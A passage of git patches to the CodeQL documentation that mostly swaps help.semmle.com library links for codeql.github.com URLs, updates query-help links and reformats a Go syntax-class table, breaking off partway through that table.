<https://help.semmle.com/qldoc/javascript/semmle/javascript/AST.qll/predicate.AST$AST$ValueNode$flow.0.html>`__ to convert. + DataFlow nodes are not mixed up. Use `asExpr() <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$Node$asExpr.0.html>`__ or + `flow() <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/predicate.AST$AST$ValueNode$flow.0.html>`__ to convert. Further reading --------------- diff --git a/docs/codeql/codeql-language-guides/detecting-a-potential-buffer-overflow.rst b/docs/codeql/codeql-language-guides/detecting-a-potential-buffer-overflow.rst index 6b315860dcf..6edb08e7e4d 100644 --- a/docs/codeql/codeql-language-guides/detecting-a-potential-buffer-overflow.rst +++ b/docs/codeql/codeql-language-guides/detecting-a-potential-buffer-overflow.rst @@ -31,7 +31,7 @@ Defining the entities of interest You could approach this problem either by searching for code similar to the call to ``malloc`` in line 3 or the call to ``strcpy`` in line 5 (see example above). For our basic query, we start with a simple assumption: any call to ``malloc`` with only a ``strlen`` to define the memory size is likely to cause an error when the memory is populated. -Calls to ``strlen`` can be identified using the library `StrlenCall <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/commons/StringAnalysis.qll/type.StringAnalysis$StrlenCall.html>`__ class, but we need to define a new class to identify calls to ``malloc``. Both the library class and the new class need to extend the standard class ``FunctionCall``, with the added restriction of the function name that they apply to: +Calls to ``strlen`` can be identified using the library `StrlenCall <https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/commons/StringAnalysis.qll/type.StringAnalysis$StrlenCall.html>`__ class, but we need to define a new class to identify calls to ``malloc``. Both the library class and the new class need to extend the standard class ``FunctionCall``, with the added restriction of the function name that they apply to: .. code-block:: ql diff --git a/docs/codeql/codeql-language-guides/functions-in-python.rst b/docs/codeql/codeql-language-guides/functions-in-python.rst index cbbfe459f75..ab401f6c5e5 100644 --- a/docs/codeql/codeql-language-guides/functions-in-python.rst +++ b/docs/codeql/codeql-language-guides/functions-in-python.rst @@ -5,7 +5,7 @@ Functions in Python You can use syntactic classes from the standard CodeQL library to find Python functions and identify calls to them. -These examples use the standard CodeQL class `Function <https://help.semmle.com/qldoc/python/semmle/python/Function.qll/type.Function$Function.html>`__. For more information, see ":doc:`CodeQL library for Python <codeql-library-for-python>`." +These examples use the standard CodeQL class `Function <https://codeql.github.com/codeql-standard-libraries/python/semmle/python/Function.qll/type.Function$Function.html>`__. For more information, see ":doc:`CodeQL library for Python <codeql-library-for-python>`." Finding all functions called "get..." ------------------------------------- diff --git a/docs/codeql/codeql-language-guides/pointer-analysis-and-type-inference-in-python.rst b/docs/codeql/codeql-language-guides/pointer-analysis-and-type-inference-in-python.rst index 934fd9943c8..61a4ea3f1e5 100644 --- a/docs/codeql/codeql-language-guides/pointer-analysis-and-type-inference-in-python.rst +++ b/docs/codeql/codeql-language-guides/pointer-analysis-and-type-inference-in-python.rst @@ -15,7 +15,7 @@ Summary Class hierarchy for ``Value``: -- `Value <https://help.semmle.com/qldoc/python/semmle/python/objects/ObjectAPI.qll/type.ObjectAPI$Value.html>`__ +- `Value <https://codeql.github.com/codeql-standard-libraries/python/semmle/python/objects/ObjectAPI.qll/type.ObjectAPI$Value.html>`__ - ``ClassValue`` - ``FunctionValue`` diff --git a/docs/codeql/codeql-language-guides/using-the-guards-library-in-cpp.rst b/docs/codeql/codeql-language-guides/using-the-guards-library-in-cpp.rst index 250c9dd0c02..792cbcd4703 100644 --- a/docs/codeql/codeql-language-guides/using-the-guards-library-in-cpp.rst +++ b/docs/codeql/codeql-language-guides/using-the-guards-library-in-cpp.rst @@ -8,7 +8,7 @@ You can use the CodeQL guards library to identify conditional expressions that c About the guards library ------------------------ -The guards library (defined in ``semmle.code.cpp.controlflow.Guards``) provides a class `GuardCondition <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/controlflow/Guards.qll/type.Guards$GuardCondition.html>`__ representing Boolean values that are used to make control flow decisions. +The guards library (defined in ``semmle.code.cpp.controlflow.Guards``) provides a class `GuardCondition <https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/controlflow/Guards.qll/type.Guards$GuardCondition.html>`__ representing Boolean values that are used to make control flow decisions. A ``GuardCondition`` is considered to guard a basic block if the block can only be reached if the ``GuardCondition`` is evaluated a certain way. For instance, in the following code, ``x < 10`` is a ``GuardCondition``, and it guards all the code before the return statement. .. code-block:: cpp diff --git a/docs/codeql/codeql-language-guides/using-type-tracking-for-api-modeling.rst b/docs/codeql/codeql-language-guides/using-type-tracking-for-api-modeling.rst index 88ab9536db7..3dc366bf909 100644 --- a/docs/codeql/codeql-language-guides/using-type-tracking-for-api-modeling.rst +++ b/docs/codeql/codeql-language-guides/using-type-tracking-for-api-modeling.rst @@ -120,9 +120,9 @@ Type tracking is a generalization of the above pattern, where a predicate matche and has a recursive clause that tracks the flow of that value. But instead of us having to deal with function calls/returns and property reads/writes, all of these steps are included in a single predicate, -`SourceNode.track <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Sources.qll/predicate.Sources$SourceNode$track.2.html>`__, +`SourceNode.track <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Sources.qll/predicate.Sources$SourceNode$track.2.html>`__, to be used with the companion class -`TypeTracker <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/TypeTracking.qll/type.TypeTracking$TypeTracker.html>`__. +`TypeTracker <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/TypeTracking.qll/type.TypeTracking$TypeTracker.html>`__. Predicates that use type tracking usually conform to the following general pattern, which we explain below: @@ -435,7 +435,7 @@ Note that these predicates all return ``SourceNode``, so attempts to track a non-source node, such as an identifier or string literal, will not work. If this becomes an issue, see -`TypeTracker.smallstep <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/TypeTracking.qll/predicate.TypeTracking$TypeTracker$smallstep.2.html>`__. +`TypeTracker.smallstep <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/TypeTracking.qll/predicate.TypeTracking$TypeTracker$smallstep.2.html>`__. Also note that the predicates taking a ``TypeTracker`` or ``TypeBackTracker`` can often be made ``private``, as they are typically only used as an intermediate result to compute the other predicate. @@ -511,14 +511,14 @@ Type tracking in the standard libraries Type tracking is used in a few places in the standard libraries: -- The `DOM <https://help.semmle.com/qldoc/javascript/semmle/javascript/DOM.qll/module.DOM$DOM.html>`__ predicates, - `documentRef <https://help.semmle.com/qldoc/javascript/semmle/javascript/DOM.qll/predicate.DOM$DOM$documentRef.0.html>`__, - `locationRef <https://help.semmle.com/qldoc/javascript/semmle/javascript/DOM.qll/predicate.DOM$DOM$locationRef.0.html>`__, and - `domValueRef <https://help.semmle.com/qldoc/javascript/semmle/javascript/DOM.qll/predicate.DOM$DOM$domValueRef.0.html>`__, +- The `DOM <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/DOM.qll/module.DOM$DOM.html>`__ predicates, + `documentRef <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/DOM.qll/predicate.DOM$DOM$documentRef.0.html>`__, + `locationRef <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/DOM.qll/predicate.DOM$DOM$locationRef.0.html>`__, and + `domValueRef <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/DOM.qll/predicate.DOM$DOM$domValueRef.0.html>`__, are implemented with type tracking. -- The `HTTP <https://help.semmle.com/qldoc/javascript/semmle/javascript/frameworks/HTTP.qll/module.HTTP$HTTP.html>`__ server models, such as `Express <https://help.semmle.com/qldoc/javascript/semmle/javascript/frameworks/Express.qll/module.Express$Express.html>`__, use type tracking to track the installation of router handler functions. -- The `Firebase <https://help.semmle.com/qldoc/javascript/semmle/javascript/frameworks/Firebase.qll/module.Firebase$Firebase.html>`__ and - `Socket.io <https://help.semmle.com/qldoc/javascript/semmle/javascript/frameworks/SocketIO.qll/module.SocketIO$SocketIO.html>`__ models use type tracking to track objects coming from their respective APIs. +- The `HTTP <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/frameworks/HTTP.qll/module.HTTP$HTTP.html>`__ server models, such as `Express <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/frameworks/Express.qll/module.Express$Express.html>`__, use type tracking to track the installation of router handler functions. +- The `Firebase <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/frameworks/Firebase.qll/module.Firebase$Firebase.html>`__ and + `Socket.io <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/frameworks/SocketIO.qll/module.SocketIO$SocketIO.html>`__ models use type tracking to track objects coming from their respective APIs. Further reading --------------- diff --git a/docs/codeql/ql-language-reference/expressions.rst b/docs/codeql/ql-language-reference/expressions.rst index 5b9e67f415f..2bd89d8ab8d 100644 --- a/docs/codeql/ql-language-reference/expressions.rst +++ b/docs/codeql/ql-language-reference/expressions.rst @@ -636,7 +636,7 @@ is exactly equivalent to ``((Foo)x)``. Casts are useful if you want to call a :ref:`member predicate <member-predicates>` that is only defined for a more specific type. For example, the following query selects Java -`classes <https://help.semmle.com/qldoc/java/semmle/code/java/Type.qll/type.Type$Class.html>`_ +`classes <https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Type.qll/type.Type$Class.html>`_ that have a direct supertype called "List":: import java diff --git a/docs/codeql/ql-training/cpp/bad-overflow-guard.rst b/docs/codeql/ql-training/cpp/bad-overflow-guard.rst index 0630bdcb039..b0d892a3a48 100644 --- a/docs/codeql/ql-training/cpp/bad-overflow-guard.rst +++ b/docs/codeql/ql-training/cpp/bad-overflow-guard.rst @@ -149,7 +149,7 @@ Let’s look for overflow guards of the form ``v + b < v``, using the classes - a ``RelationalOperation``: the overflow comparison check. - a ``Variable``: used as an argument to both the addition and comparison. - - The ``where`` part of the query ties these three variables together using `predicates <https://help.semmle.com/QL/ql-handbook/predicates.html>`__ defined in the `standard CodeQL for C/C++ library <https://help.semmle.com/qldoc/cpp/>`__. + - The ``where`` part of the query ties these three variables together using `predicates <https://help.semmle.com/QL/ql-handbook/predicates.html>`__ defined in the `standard CodeQL for C/C++ library <https://codeql.github.com/codeql-standard-libraries/cpp/>`__. CodeQL query: bad overflow guards ================================= diff --git a/docs/codeql/ql-training/cpp/control-flow-cpp.rst b/docs/codeql/ql-training/cpp/control-flow-cpp.rst index 64c34b46328..fe478bd4edc 100644 --- a/docs/codeql/ql-training/cpp/control-flow-cpp.rst +++ b/docs/codeql/ql-training/cpp/control-flow-cpp.rst @@ -223,7 +223,7 @@ Further materials ================= - CodeQL for C/C++: https://help.semmle.com/QL/learn-ql/ql/cpp/ql-for-cpp.html -- API reference: https://help.semmle.com/qldoc/cpp +- API reference: https://codeql.github.com/codeql-standard-libraries/cpp .. rst-class:: end-slide diff --git a/docs/codeql/ql-training/cpp/data-flow-cpp.rst b/docs/codeql/ql-training/cpp/data-flow-cpp.rst index 9d2f29863c9..855ccb40ccb 100644 --- a/docs/codeql/ql-training/cpp/data-flow-cpp.rst +++ b/docs/codeql/ql-training/cpp/data-flow-cpp.rst @@ -84,7 +84,7 @@ Write a query that flags ``printf`` calls where the format argument is not a ``S This first query is about finding places where the format specifier is not a constant string. In the CodeQL libraries for C/C++, constant strings are modeled as ``StringLiteral`` nodes, so we are looking for calls to format functions where the format specifier argument is not a string literal. - The `C/C++ standard libraries <https://help.semmle.com/qldoc/cpp/>`__ include many different formatting functions that may be vulnerable to this particular attack–including ``printf``, ``snprintf``, and others. Furthermore, each of these different formatting functions may include the format string in a different position in the argument list. Instead of laboriously listing all these different variants, we can make use of the standard CodeQL class ``FormattingFunction``, which provides an interface that models common formatting functions in C/C++. + The `C/C++ standard libraries <https://codeql.github.com/codeql-standard-libraries/cpp/>`__ include many different formatting functions that may be vulnerable to this particular attack–including ``printf``, ``snprintf``, and others. Furthermore, each of these different formatting functions may include the format string in a different position in the argument list. Instead of laboriously listing all these different variants, we can make use of the standard CodeQL class ``FormattingFunction``, which provides an interface that models common formatting functions in C/C++. Meh... ====== diff --git a/docs/codeql/ql-training/cpp/intro-ql-cpp.rst b/docs/codeql/ql-training/cpp/intro-ql-cpp.rst index aa8e8cfa72b..4753aa4a493 100644 --- a/docs/codeql/ql-training/cpp/intro-ql-cpp.rst +++ b/docs/codeql/ql-training/cpp/intro-ql-cpp.rst @@ -70,7 +70,7 @@ A simple CodeQL query A `query <https://help.semmle.com/QL/ql-handbook/queries.html>`__ consists of a “select” clause that indicates what results should be returned. Typically it will also provide a “from” clause to declare some variables, and a “where” clause to state conditions over those variables. For more information on the structure of query files (including links to useful topics in the `QL language reference <https://help.semmle.com/QL/ql-handbook/index.html>`__), see `About CodeQL queries <https://help.semmle.com/QL/learn-ql/ql/writing-queries/introduction-to-queries.html>`__. - In our example here, the first line of the query imports the `CodeQL library for C/C++ <https://help.semmle.com/qldoc/cpp/>`__, which defines concepts like ``IfStmt`` and ``Block``. + In our example here, the first line of the query imports the `CodeQL library for C/C++ <https://codeql.github.com/codeql-standard-libraries/cpp/>`__, which defines concepts like ``IfStmt`` and ``Block``. The query proper starts by declaring two variables–ifStmt and block. These variables represent sets of values in the database, according to the type of each of the variables. For example, ifStmt has the type IfStmt, which means it represents the set of all if statements in the program. If we simply selected these two variables:: diff --git a/docs/codeql/ql-training/java/intro-ql-java.rst b/docs/codeql/ql-training/java/intro-ql-java.rst index 0398ffe205d..fb415d078bc 100644 --- a/docs/codeql/ql-training/java/intro-ql-java.rst +++ b/docs/codeql/ql-training/java/intro-ql-java.rst @@ -70,7 +70,7 @@ A simple CodeQL query A `query <https://help.semmle.com/QL/ql-handbook/queries.html>`__ consists of a “select” clause that indicates what results should be returned. Typically it will also provide a “from” clause to declare some variables, and a “where” clause to state conditions over those variables. For more information on the structure of query files (including links to useful topics in the `QL language reference <https://help.semmle.com/QL/ql-handbook/index.html>`__), see `About CodeQL queries <https://help.semmle.com/QL/learn-ql/ql/writing-queries/introduction-to-queries.html>`__. - In our example here, the first line of the query imports the `CodeQL library for Java <https://help.semmle.com/qldoc/java/>`__, which defines concepts like ``IfStmt`` and ``Block``. + In our example here, the first line of the query imports the `CodeQL library for Java <https://codeql.github.com/codeql-standard-libraries/java/>`__, which defines concepts like ``IfStmt`` and ``Block``. The query proper starts by declaring two variables–ifStmt and block. These variables represent sets of values in the database, according to the type of each of the variables. For example, ``ifStmt`` has the type ``IfStmt``, which means it represents the set of all if statements in the program. If we simply selected these two variables:: diff --git a/docs/codeql/ql-training/java/query-injection-java.rst b/docs/codeql/ql-training/java/query-injection-java.rst index ce215069b8d..92e0930d9bf 100644 --- a/docs/codeql/ql-training/java/query-injection-java.rst +++ b/docs/codeql/ql-training/java/query-injection-java.rst @@ -84,7 +84,7 @@ Let’s start by looking for calls to methods with names of the form ``sparql*Qu - a ``MethodAccess``: the call to a SPARQL query method - a ``Method``: the SPARQL query method. - - The ``where`` part of the query ties these variables together using `predicates <https://help.semmle.com/QL/ql-handbook/predicates.html>`__ defined in the `standard CodeQL library for Java <https://help.semmle.com/qldoc/java/>`__. + - The ``where`` part of the query ties these variables together using `predicates <https://help.semmle.com/QL/ql-handbook/predicates.html>`__ defined in the `standard CodeQL library for Java <https://codeql.github.com/codeql-standard-libraries/java/>`__. CodeQL query: find string concatenation ======================================= diff --git a/docs/codeql/ql-training/slide-snippets/local-data-flow.rst b/docs/codeql/ql-training/slide-snippets/local-data-flow.rst index c660d83d21a..f0d1dfa546f 100644 --- a/docs/codeql/ql-training/slide-snippets/local-data-flow.rst +++ b/docs/codeql/ql-training/slide-snippets/local-data-flow.rst @@ -105,9 +105,9 @@ So all references will need to be qualified (that is, ``DataFlow::Node``) A **query library** is file with the extension ``.qll``. Query libraries do not contain a query clause, but may contain modules, classes, and predicates. For further information on the data flow libraries, see the following links: - - `Java data flow library <https://help.semmle.com/qldoc/java/semmle/code/java/dataflow/DataFlow.qll/module.DataFlow.html>`__ - - `C/C++ data flow library <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/dataflow/DataFlow.qll/module.DataFlow.html>`__ - - `C# data flow library <https://help.semmle.com/qldoc/csharp/semmle/code/csharp/dataflow/DataFlow.qll/module.DataFlow.html>`__ + - `Java data flow library <https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/dataflow/DataFlow.qll/module.DataFlow.html>`__ + - `C/C++ data flow library <https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/dataflow/DataFlow.qll/module.DataFlow.html>`__ + - `C# data flow library <https://codeql.github.com/codeql-standard-libraries/csharp/semmle/code/csharp/dataflow/DataFlow.qll/module.DataFlow.html>`__ A **module** is a way of organizing QL code by grouping together related predicates, classes, and (sub-)modules. They can be either explicitly declared or implicit. A query library implicitly declares a module with the same name as the QLL file. @@ -155,6 +155,6 @@ Taint tracking The taint-tracking API is almost identical to that of the local data flow. All we need to do to switch to taint tracking is ``import semmle.code.<language>.dataflow.TaintTracking`` instead of ``semmle.code.<language>.dataflow.DataFlow``, and instead of using ``localFlow``, we use ``localTaint``. - - `Java taint-tracking library <https://help.semmle.com/qldoc/java/semmle/code/java/dataflow/TaintTracking.qll/module.TaintTracking.html>`__ - - `C/C++ taint-tracking library <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/dataflow/TaintTracking.qll/module.TaintTracking.html>`__ - - `C# taint-tracking library <https://help.semmle.com/qldoc/csharp/semmle/code/csharp/dataflow/TaintTracking.qll/module.TaintTracking.html>`__ + - `Java taint-tracking library <https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/dataflow/TaintTracking.qll/module.TaintTracking.html>`__ + - `C/C++ taint-tracking library <https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/dataflow/TaintTracking.qll/module.TaintTracking.html>`__ + - `C# taint-tracking library <https://codeql.github.com/codeql-standard-libraries/csharp/semmle/code/csharp/dataflow/TaintTracking.qll/module.TaintTracking.html>`__ diff --git a/docs/codeql/reusables/cpp-further-reading.rst b/docs/codeql/reusables/cpp-further-reading.rst index 5cd69858578..a288bc710cf 100644 --- a/docs/codeql/reusables/cpp-further-reading.rst +++ b/docs/codeql/reusables/cpp-further-reading.rst @@ -1,4 +1,4 @@ - `CodeQL queries for C and C++ <https://github.com/github/codeql/tree/main/cpp/ql/src>`__ - `Example queries for C and C++ <https://github.com/github/codeql/tree/main/cpp/ql/examples>`__ -- `CodeQL library reference for C and C++ <https://help.semmle.com/qldoc/cpp/>`__ +- `CodeQL library reference for C and C++ <https://codeql.github.com/codeql-standard-libraries/cpp/>`__ diff --git a/docs/codeql/reusables/csharp-further-reading.rst b/docs/codeql/reusables/csharp-further-reading.rst index 1b5cb7754c0..40c1bced4c7 100644 --- a/docs/codeql/reusables/csharp-further-reading.rst +++ b/docs/codeql/reusables/csharp-further-reading.rst @@ -1,4 +1,4 @@ - `CodeQL queries for C# <https://github.com/github/codeql/tree/main/csharp/ql/src>`__ - `Example queries for C# <https://github.com/github/codeql/tree/main/csharp/ql/examples>`__ -- `CodeQL library reference for C# <https://help.semmle.com/qldoc/csharp/>`__ +- `CodeQL library reference for C# <https://codeql.github.com/codeql-standard-libraries/csharp/>`__ diff --git a/docs/codeql/reusables/go-further-reading.rst b/docs/codeql/reusables/go-further-reading.rst index 59f3625bc42..275d3c85c3e 100644 --- a/docs/codeql/reusables/go-further-reading.rst +++ b/docs/codeql/reusables/go-further-reading.rst @@ -1,3 +1,3 @@ - `CodeQL queries for Go <https://github.com/github/codeql-go/tree/main/ql/src>`__ - `Example queries for Go <https://github.com/github/codeql-go/tree/main/ql/examples>`__ -- `CodeQL library reference for Go <https://help.semmle.com/qldoc/go/>`__ +- `CodeQL library reference for Go <https://codeql.github.com/codeql-standard-libraries/go/>`__ diff --git a/docs/codeql/reusables/java-further-reading.rst b/docs/codeql/reusables/java-further-reading.rst index 4f94a78099b..cde17dbfa1c 100644 --- a/docs/codeql/reusables/java-further-reading.rst +++ b/docs/codeql/reusables/java-further-reading.rst @@ -1,4 +1,4 @@ - `CodeQL queries for Java <https://github.com/github/codeql/tree/main/java/ql/src>`__ - `Example queries for Java <https://github.com/github/codeql/tree/main/java/ql/examples>`__ -- `CodeQL library reference for Java <https://help.semmle.com/qldoc/java/>`__ +- `CodeQL library reference for Java <https://codeql.github.com/codeql-standard-libraries/java/>`__ diff --git a/docs/codeql/reusables/javascript-further-reading.rst b/docs/codeql/reusables/javascript-further-reading.rst index bda3e058a1b..1e09d193648 100644 --- a/docs/codeql/reusables/javascript-further-reading.rst +++ b/docs/codeql/reusables/javascript-further-reading.rst @@ -1,3 +1,3 @@ - `CodeQL queries for JavaScript <https://github.com/github/codeql/tree/main/javascript/ql/src>`__ - `Example queries for JavaScript <https://github.com/github/codeql/tree/main/javascript/ql/examples>`__ -- `CodeQL library reference for JavaScript <https://help.semmle.com/qldoc/javascript/>`__ +- `CodeQL library reference for JavaScript <https://codeql.github.com/codeql-standard-libraries/javascript/>`__ diff --git a/docs/codeql/reusables/python-further-reading.rst b/docs/codeql/reusables/python-further-reading.rst index 7ff521c4abf..eab9644d555 100644 --- a/docs/codeql/reusables/python-further-reading.rst +++ b/docs/codeql/reusables/python-further-reading.rst @@ -1,4 +1,4 @@ - `CodeQL queries for Python <https://github.com/github/codeql/tree/main/python/ql/src>`__ - `Example queries for Python <https://github.com/github/codeql/tree/main/python/ql/examples>`__ -- `CodeQL library reference for Python <https://help.semmle.com/qldoc/python/>`__ +- `CodeQL library reference for Python <https://codeql.github.com/codeql-standard-libraries/python/>`__ From b62d01a74fbdb38eda143e461bbdf6ef44760fa0 Mon Sep 17 00:00:00 2001 From: james <james@semmle.com> Date: Wed, 2 Dec 2020 17:36:48 +0000 Subject: [PATCH 0141/1241] update links to query help and libraries landing pages --- .../creating-path-queries.rst | 14 ++++---------- .../writing-codeql-queries/query-help-files.rst | 2 +- 2 files changed, 5 insertions(+), 11 deletions(-) diff --git a/docs/codeql/writing-codeql-queries/creating-path-queries.rst b/docs/codeql/writing-codeql-queries/creating-path-queries.rst index 74e512d43c1..943fd1275ba 100644 --- a/docs/codeql/writing-codeql-queries/creating-path-queries.rst +++ b/docs/codeql/writing-codeql-queries/creating-path-queries.rst @@ -34,13 +34,7 @@ For more language-specific information on analyzing data flow, see: Path query examples ******************* -The easiest way to get started writing your own path query is to modify one of the existing queries. Visit the links below to see all the built-in path queries: - -- `C/C++ path queries <https://help.semmle.com/wiki/label/CCPPOBJ/path-problem>`__ -- `C# path queries <https://help.semmle.com/wiki/label/CSHARP/path-problem>`__ -- `Java path queries <https://help.semmle.com/wiki/label/java/path-problem>`__ -- `JavaScript path queries <https://help.semmle.com/wiki/label/js/path-problem>`__ -- `Python path queries <https://help.semmle.com/wiki/label/python/path-problem>`__ +The easiest way to get started writing your own path query is to modify one of the existing queries. For more information, see the `CodeQL query help <https://codeql.github.com/codeql-query-help>`__. The Security Lab researchers have used path queries to find security vulnerabilities in various open source projects. To see articles describing how these queries were written, as well as other posts describing other aspects of security research such as exploiting vulnerabilities, see the `GitHub Security Lab website <https://securitylab.github.com/research>`__. @@ -120,7 +114,7 @@ For Python, the ``Paths`` module contains the ``edges`` predicate:: import semmle.python.security.Paths -You can also import libraries specifically designed to implement data flow analysis in various common frameworks and environments, and many additional libraries are included with CodeQL. To see examples of the different libraries used in data flow analysis, see the links to the built-in queries above or browse the `standard libraries <https://help.semmle.com/QL/ql-libraries.html>`__. +You can also import libraries specifically designed to implement data flow analysis in various common frameworks and environments, and many additional libraries are included with CodeQL. To see examples of the different libraries used in data flow analysis, see the links to the built-in queries above or browse the `standard libraries <https://codeql.github.com/codeql-standard-libraries>`__. For all languages, you can also optionally define a ``nodes`` query predicate, which specifies the nodes of the path graph that you are interested in. If ``nodes`` is defined, only edges with endpoints defined by these nodes are selected. If ``nodes`` is not defined, you select all possible endpoints of ``edges``. @@ -133,7 +127,7 @@ You can also define your own ``edges`` predicate in the body of your query. It s /** Logical conditions which hold if `(a,b)` is an edge in the data flow graph */ } -For more examples of how to define an ``edges`` predicate, visit the `standard CodeQL libraries <https://help.semmle.com/QL/ql-libraries.html>`__ and search for ``edges``. +For more examples of how to define an ``edges`` predicate, visit the `standard CodeQL libraries <https://codeql.github.com/codeql-standard-libraries>`__ and search for ``edges``. Declaring sources and sinks *************************** @@ -159,7 +153,7 @@ If you are querying Python code (and you have used ``import semmle.python.securi from TaintedPathSource source, TaintedPathSink sink -You can extend your query by adding different sources and sinks by either defining them in the query, or by importing predefined sources and sinks for specific frameworks and libraries. See the `Python path queries <https://help.semmle.com/wiki/label/python/path-problem>`__ for further details. +You can extend your query by adding different sources and sinks by either defining them in the query, or by importing predefined sources and sinks for specific frameworks and libraries. For more information, see the `CodeQL query help for Python <https://codeql.github.com/codeql-query-help/python>`__. Defining flow conditions ************************ diff --git a/docs/codeql/writing-codeql-queries/query-help-files.rst b/docs/codeql/writing-codeql-queries/query-help-files.rst index fd0dd7bea4f..093915d050b 100644 --- a/docs/codeql/writing-codeql-queries/query-help-files.rst +++ b/docs/codeql/writing-codeql-queries/query-help-files.rst @@ -13,7 +13,7 @@ For more information about how to write useful query help in a style that is con Note - You can access the query help for CodeQL queries by visiting the `Built-in query pages <https://help.semmle.com/wiki/display/QL/Built-in+queries>`__. + You can access the query help for CodeQL queries by visiting `CodeQL query help <https://codeql.github.com/codeql-query-help>`__. You can also access the raw query help files in the `GitHub repository <https://github.com/github/codeql>`__. For example, see the `JavaScript security queries <https://github.com/github/codeql/tree/main/javascript/ql/src/Security>`__ and `C/C++ critical queries <https://github.com/github/codeql/tree/main/cpp/ql/src/Critical>`__. From 5d717a53fa08a78d50b642bd5a60119a79db2316 Mon Sep 17 00:00:00 2001 From: james <james@semmle.com> Date: Thu, 3 Dec 2020 09:27:51 +0000 Subject: [PATCH 0142/1241] fix some table formatting and update some links --- ...e-classes-for-working-with-go-programs.rst | 415 +++++++-------- ...classes-for-working-with-java-programs.rst | 3 + ...ith-javascript-and-typescript-programs.rst | 16 +- .../codeql-library-for-cpp.rst | 489 +++++++++--------- .../about-data-flow-analysis.rst | 2 +- 5 files changed, 470 insertions(+), 455 deletions(-) diff --git a/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-go-programs.rst b/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-go-programs.rst index 09a871fdcea..623bdcdba58 100644 --- a/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-go-programs.rst +++ b/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-go-programs.rst @@ -12,171 +12,171 @@ Statement classes This table lists all subclasses of Stmt_. -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| Statement syntax | CodeQL class | Superclasses | Remarks | -+=======================================================================================================================+=======================+==================================+======================================================================================+ -| ``;`` | EmptyStmt_ | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| Expr_ | ExprStmt_ | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| ``{`` Stmt_ ``...`` ``}`` | BlockStmt_ | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| ``if`` Expr_ BlockStmt_ | IfStmt_ | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+ | | | -| ``if`` Expr_ BlockStmt_ ``else`` Stmt_ | | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+ | | | -| ``if`` Stmt_\ ``;`` Expr_ BlockStmt_ | | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| ``for`` Expr_ BlockStmt_ | ForStmt_ | LoopStmt_ | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+ | | | -| ``for`` Stmt_\ ``;`` Expr_\ ``;`` Stmt_ BlockStmt_ | | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| ``for`` Expr_ ``...`` ``=`` ``range`` Expr_ BlockStmt_ | RangeStmt_ | LoopStmt_ | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| ``switch`` Expr_ ``{`` CaseClause_ ``...`` ``}`` | ExpressionSwitchStmt_ | SwitchStmt_ | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+ | | | -| ``switch`` Stmt_\ ``;`` Expr_ ``{`` CaseClause_ ``...`` ``}`` | | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| ``switch`` Expr_\ ``.(type)`` ``{`` CaseClause_ ``...`` ``}`` | TypeSwitchStmt_ | SwitchStmt_ | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+ | | | -| ``switch`` SimpleAssignStmt_\ ``.(type)`` ``{`` CaseClause_ ``...`` ``}`` | | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+ | | | -| ``switch`` Stmt_\ ``;`` Expr_\ ``.(type)`` ``{`` CaseClause_ ``...`` ``}`` | | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| ``select`` ``{`` CommClause_ ``...`` ``}`` | SelectStmt_ | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| ``return`` | ReturnStmt_ | | | 